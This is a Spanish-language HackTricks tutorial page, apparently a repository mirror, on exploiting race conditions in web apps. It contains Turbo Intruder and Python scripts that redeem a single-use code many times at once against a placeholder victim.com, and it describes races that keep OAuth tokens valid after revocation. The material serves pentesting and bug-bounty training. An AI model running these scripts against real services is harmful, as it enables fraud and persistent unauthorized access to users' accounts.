mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 15:08:29 +00:00
148 lines
9.3 KiB
Markdown
148 lines
9.3 KiB
Markdown
|
# Condición de carrera
|
||
|
|
||
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
|
||
|
\
|
||
|
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
|
||
|
Obtenga acceso hoy:
|
||
|
|
||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Cualquier cosa limitada por un número de intentos
|
||
|
|
||
|
Las condiciones de carrera son **vulnerabilidades** que **aparecen** en sitios web que **limitan el número de veces que se puede realizar una acción**. Un ejemplo muy sencillo se puede encontrar en [**este informe**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43).
|
||
|
|
||
|
## Usando varias veces un código de un solo uso
|
||
|
|
||
|
Cuando haces que la página web realice alguna **acción** que **debe hacerse solo una vez**, pero si la acción se realiza **varias veces** se obtiene un **beneficio**, realmente necesitas probar una **condición de carrera**.\
|
||
|
La mayoría de las veces esto está directamente relacionado con el **dinero** (si se realiza una acción, se obtiene X dinero, así que intentemos hacerlo varias veces muy rápidamente)**.**
|
||
|
|
||
|
### **Usando desde la misma cuenta el mismo código varias veces**
|
||
|
|
||
|
Por ejemplo, en [**este error**](https://hackerone.com/reports/759247) el cazador pudo **cargar el dinero dentro de una tarjeta de regalo varias veces.**
|
||
|
|
||
|
Este es el script **turbo intruder** utilizado para **probar** la **condición de carrera** del informe mencionado:
|
||
|
```python
|
||
|
def queueRequests(target, wordlists):
|
||
|
engine = RequestEngine(endpoint=target.endpoint,
|
||
|
concurrentConnections=30,
|
||
|
requestsPerConnection=30,
|
||
|
pipeline=False
|
||
|
)
|
||
|
|
||
|
for i in range(30):
|
||
|
engine.queue(target.req, i)
|
||
|
engine.queue(target.req, target.baseInput, gate='race1')
|
||
|
|
||
|
|
||
|
engine.start(timeout=5)
|
||
|
engine.openGate('race1')
|
||
|
|
||
|
engine.complete(timeout=60)
|
||
|
|
||
|
|
||
|
def handleResponse(req, interesting):
|
||
|
table.add(req)
|
||
|
```
|
||
|
Usando también BURP, puedes enviar la **petición** a **Intruder**, establecer el **número de hilos** en **30** dentro del menú de **Opciones** y seleccionar como carga útil **Cargas útiles nulas** y generar **30**.
|
||
|
|
||
|
### **Usando el mismo código desde diferentes cuentas**
|
||
|
|
||
|
**Si la propuesta anterior no funcionó (intentando usar el mismo código varias veces desde la misma cuenta), puedes probar una variante: Intenta usar el mismo código desde diferentes cuentas:**
|
||
|
```python
|
||
|
def queueRequests(target, wordlists):
|
||
|
engine = RequestEngine(endpoint=target.endpoint,
|
||
|
concurrentConnections=5,
|
||
|
requestsPerConnection=1,
|
||
|
pipeline=False
|
||
|
)
|
||
|
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
|
||
|
for i in range(len(a)):
|
||
|
engine.queue(target.req,a[i], gate='race1')
|
||
|
# open TCP connections and send partial requests
|
||
|
engine.start(timeout=10)
|
||
|
engine.openGate('race1')
|
||
|
engine.complete(timeout=60)
|
||
|
|
||
|
def handleResponse(req, interesting):
|
||
|
table.add(req)
|
||
|
```
|
||
|
### Usando Python
|
||
|
```python
|
||
|
import asyncio
|
||
|
import httpx
|
||
|
|
||
|
async def use_code(client):
|
||
|
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
|
||
|
return resp.text
|
||
|
|
||
|
async def main():
|
||
|
async with httpx.AsyncClient() as client:
|
||
|
tasks = []
|
||
|
for _ in range(20): #20 times
|
||
|
tasks.append(asyncio.ensure_future(use_code(client)))
|
||
|
|
||
|
# Get responses
|
||
|
results = await asyncio.gather(*tasks, return_exceptions=True)
|
||
|
|
||
|
# Print results
|
||
|
for r in results:
|
||
|
print(r)
|
||
|
|
||
|
# Async2sync sleep
|
||
|
await asyncio.sleep(0.5)
|
||
|
print(results)
|
||
|
|
||
|
asyncio.run(main())
|
||
|
```
|
||
|
## Persistencia eterna de OAuth2
|
||
|
|
||
|
Existen varios [**proveedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Estos servicios te permiten crear una aplicación y autenticar a los usuarios que el proveedor ha registrado. Para hacerlo, el **cliente** necesitará **permitir que tu aplicación** acceda a algunos de sus datos dentro del **proveedor de OAuth**.\
|
||
|
Hasta aquí, solo es un inicio de sesión común con Google/LinkedIn/GitHub... donde se te muestra una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
|
||
|
|
||
|
#### Condición de carrera en `authorization_code`
|
||
|
|
||
|
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Entonces, esta **aplicación abusa de una condición de carrera en el proveedor de servicios de OAuth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, abusará del hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT se eliminará, pero los demás seguirán siendo válidos**.
|
||
|
|
||
|
#### Condición de carrera en `Refresh Token`
|
||
|
|
||
|
Una vez que **has obtenido un RT válido**, podrías intentar **abusar de él para generar varios AT/RT** e incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos.**
|
||
|
|
||
|
## Referencias
|
||
|
|
||
|
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||
|
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||
|
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
|
||
|
\
|
||
|
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
|
||
|
Obtén acceso hoy:
|
||
|
|
||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|